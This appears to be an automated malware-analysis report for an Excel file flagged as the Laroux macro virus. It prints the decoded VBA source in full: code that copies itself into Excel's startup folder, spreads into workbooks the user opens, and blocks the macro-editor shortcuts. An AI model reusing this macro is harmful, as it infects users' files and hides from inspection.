Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6666ae9b079c41d7…

MALICIOUS

Office (OLE)

50.5 KB Created: 2009-12-11 07:21:22 Authoring application: Microsoft Excel First seen: 2015-09-14
MD5: 070e33e428217bf5979daa228b7f6b88 SHA-1: 75e6865b6d1c9e15ece8de95dd01b28f59e3e50a SHA-256: 6666ae9b079c41d712c98db091bddc85da263ee167a470bba051b609a5e509d2
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The critical ClamAV heuristic and the presence of VBA macros indicate malicious intent. The auto_open macro attempts to copy the workbook to the Excel startup path as 'StartUp.xls', likely to achieve persistence. The script also attempts to register itself to run automatically via Application.OnSheetActivate, further reinforcing the persistence attempt.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1223 bytes
SHA-256: 1aade4ed855002fe3c1531e58ce176fcd522d30cf4f88e9843368ad938864649
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    End If
    End Sub
  


Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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